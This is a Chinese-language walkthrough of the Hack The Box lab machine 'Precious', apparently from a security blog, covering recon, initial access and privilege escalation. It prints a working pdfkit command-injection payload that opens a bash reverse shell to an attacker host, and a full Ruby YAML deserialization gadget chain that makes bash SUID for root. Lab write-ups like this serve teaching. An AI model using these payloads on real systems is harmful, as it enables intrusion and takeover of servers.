一、搭建环境
1.连接服务器
完成注册后需要连接到靶场服务器,点击右上角LABACCESS选择Machines下载~~~文件,在kali中使用命令“open~~~”即可连接,连接成功后可以会建立一张tun0的网卡,你将使用此IP进行通讯。
2.进入靶场
在Machies界面选中Precious,点击JoinMachine开始你的渗透之旅。
二、信息收集
nmap扫描,发现开放80,22端口,我们从80端口开始切入。
浏览器访问10.10.11.189(靶机)解析到一个域名,因没有dns解析记录,需要手动配置本地hosts文件才能访问。打开后对precious.htb进行目录扫描,未发现有价值的信息,信息收集告一段落。
三、第一阶段渗透
根据网站标题,判断功能为将Web页面转换为PDF,那么我们在本地使用python3起一个http服务对其测试(注意!!请使用tun0网卡的IP,否则无法转换。
cd到Downloads文件夹下,使用exiftool工具分析可知,此pdf由pdfkitv0.8.6生成,在网上寻找相关信息发现该版本存在RCE漏洞。我们直接在https://www.revshells.com/中生成指令并在kali上创建监听端口接收反弹Shell。
payload:http://localhost/?name=#{'%20`bash -c "bash -i >& /dev/tcp/your-ip/port 0>&1"`'}
输入whoami查看当前权限,在目录中搜寻到user.txt文件,发现没有权限访问,最后我们在根目录bundle下的config中找到ssh的密码,使用该密码登录henry的账户,第一段渗透结束。
三、第二阶段渗透
通过ssh连接,查看当前用户为henry,输入命令sudo-l查看当前权限,发现当前可执行文件为/opt/update_dependencies.rb,使用cat查看,存在yamlrce漏洞,cd到sample目录下,将dependencies.yml换成以下代码即可rce。(使用ls -la查看隐藏文件
exp
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod +s /usr/bin/bash
method_id: :resolve
进入root账户即可查看密文
四、总结
因该题分为ruby和hanry两个账户,故分为两段来写。整体题目偏简单,涉及的都是平常一些琐碎的小知识,适合新手入门。文章如有不对之处,请予指正,感谢观看。
微信扫码关注: Network security随笔公众号获取最新安全资讯。